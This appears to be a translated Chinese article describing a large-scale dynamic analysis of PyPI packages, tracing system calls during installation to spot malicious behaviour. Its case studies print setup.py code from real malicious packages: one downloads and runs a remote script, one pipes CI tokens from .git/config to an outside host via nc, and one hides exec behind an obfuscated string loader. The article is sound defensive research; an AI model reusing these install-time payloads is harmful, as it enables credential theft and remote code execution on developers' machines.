写在前面的话
大约一年前,Python软件基金会(Python Software Foundation,RFI)公开了一个信息请求(RFI),讨论的是如何检测上传到PyPI的恶意软件包,这显然是一个影响几乎每个包管理器的实际问题。
事实上,像PyPI这样的包管理器是几乎每个公司都依赖的关键基础设施。这是我感兴趣的一个领域,所以我用我的想法回应我们应该如何去处理这个问题。在这篇文章中,我将详细介绍如何安装和分析PyPI中的每个包,并寻找其中潜在的恶意活动。
如何寻找恶意库
为了在软件包的安装过程中执行任意命令,开发人员通常会将代码添加到代码包里的setup.py文件中,具体可以参考这个【代码库】。
从大的角度来看,我们有两种方法可以找到潜在的恶意依赖组件,即静态分析和动态分析。虽然静态分析非常有趣,但本文主要使用的是动态分析方法。
那么,我们到底要寻找什么呢?
首先我们要知道一点,很多重要的事情都是由内核完成的。一般的程序(例如pip)如果想要让内核来完成某个任务时,一般都是通过使用syscalls,即系统调用完成的。打开文件,建立网络连接,以及执行命令等任务,都是通过系统调用实现的。
这也就意味着,如果我们能在一个Python包的安装过程中监控系统调用的话,那我们就可以去查看任何可疑的事件了。这样做的好处就在于,无论恶意代码经过了多少层混淆处理,我们都可以查看到这些代码实际要做的事情。
现在,我们只要要做的事情就是监控系统调用了,那么我们该如何做呢?
使用Sysdig监控系统调用
实际上,社区已经提供了很多能够帮助我们监控系统调用的工具了。针对我们这个目标,我选择使用的时Sysdig,因为它既能够提供结构化的输出,又能够帮助我们很好地对数据进行过滤。
为了实现这一点,在启动安装包的Docker容器时,我还启动了一个Sysdig进程,该进程只会监视来自该容器的事件。除此之外,我还过滤掉了跟pypi.org或files.pythonhosted.com相关的网络读写操作,因为它们跟我们的目标无关。
现在我们已经有了捕获系统调用的方法,但还有一个不得不解决的问题,即如何获取所有可用PyPI包的完整列表。
获取Python包
幸运的是,PyPI提供了一个名为“Simple API”的API接口,这个接口可以被当作是一个包含了指向每一个软件包链接的大型HTML页面。我们可以爬取这个页面中的信息,并使用pup来对链接进行解析,这样我们就可以拿到大约268000个软件包:
❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt ❯ wc -l pypi_full.txt 268038 pypi_full.txt
针对我们的实验场景,我们需要的是每一个软件包的最新版本,我们的管道如下:
简而言之,我们将每个包的名称发送到一组EC2实例,它可以从PyPI获取关于包的一些元数据,然后启动sysdig以及一系列容器来通过pip安装包,同时收集系统调用和网络流量。然后,所有的数据都被传送到S3以供后续分析使用。
整个过程如下图所示:
上述操作完成后,我们将在一个S3 Bucket中存储大约1TB的数据,其中包含了大约245000个软件包。我们对元数据和输出进行整理之后,将得到一系列JSON文件:
{ "metadata": {}, "output": { "dns": [], // Any DNS requests made "files": [], // All file access operations "connections": [], // TCP connections established "commands": [], // Any commands executed } }
然后,我编写了一系列脚本来聚合数据,试图对代码的行为进行分析,让我们深入研究一下结果。
网络请求
软件包在安装过程中需要进行网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,也有可能是在尝试从系统中提取数据或凭证。
我们发现,其中有460包会跟109台单独的主机建立网络连接。正如上面提到的,其中相当一部分是由于软件包共享依赖组件(这些依赖会进行网络连接)的结果。不过,我们可以通过映射依赖关系可以过滤掉这些内容。
命令执行
与网络连接一样,软件包在安装期间运行系统命令也是有正当理由,这里可以是编译本机二进制文件和设置正确的环境等等。纵观我们的示例集,我们发现有60725个包会在安装期间执行命令。就像网络连接一样,我们必须记住,许多连接都是由运行命令的包的下游依赖组件发起的。
有趣的软件包
深入研究结果,大多数网络连接和命令似乎是合法的。但是,我想把一些奇怪的行为作为案例研究,来说明这种分析有多有用。
i-am-malicious
这里,我们发现了一个名叫i-am-malicious的包,它就是一个恶意包。如果大家觉得这个包的名字还不够明显的话,下面的细节也足以证明一切:
{ "dns": [{ "name": "gist.githubusercontent.com", "addresses": [ "199.232.64.133" ] }] ], "files": [ ... { "filename": "/tmp/malicious.py", "flag": "O_RDONLY|O_CLOEXEC" }, ... { "filename": "/tmp/malicious-was-here", "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC" }, ... ], "commands": [ "python /tmp/malicious.py" ] }
我们看到,它会跟gist.github.com建立连接,执行一个Python文件,然后创建一个名为“/tmp/malicious-was-here”的文件。果不其然,这些全部都是利用setup.py实现的:
from urllib.request import urlopen handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py") with open("/tmp/malicious.py", "wb") as fp: fp.write(handler.read()) import subprocess subprocess.call(["python", "/tmp/malicious.py"])
maliciouspackage
另一个恶意包甚至直接把名字都改成了maliciouspackage,下面给出的是相关的输出:
{ "dns": [{ "name": "laforge.xyz", "addresses": [ "34.82.112.63" ] }], "files": [ { "filename": "/app/.git/config", "flag": "O_RDONLY" }, ], "commands": [ "sh -c apt install -y socat", "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566", "grep ci-token /app/.git/config", "nc laforge.xyz 5566" ] }
这个包似乎能够从“.git/config”文件中提取出令牌,并将其上传至laforge.xyz。通过分析其setup.py,我们可以看到下列内容:
... import os os.system('apt install -y socat') os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
还有一个名叫easyIoCtl的包,它声称能够抽象化IO操作,但我们发现它会执行下列命令:
[ "sh -c touch /tmp/testing123", "touch /tmp/testing123" ]
这很可疑,但不一定具有恶意性。不过这个例子很好地展示了我们用于跟踪系统调用的方法。下面是该项目的setup.py文件:
class MyInstall(): def run(self): control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r' control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11] control_flow_guard_init = "" for controL_flow_code in control_flow_guard_mappers: control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code] exec(control_flow_guard_init)
为了弄清楚这些代码要做的事情,我们可以用print来代替exec,结果如下:
import os;os.system('touch /tmp/testing123')
这就是它索要执行的命令,即使代码经过了混淆处理,也不会影响我们的分析结果,因为我们是在系统调用级别上进行的监控。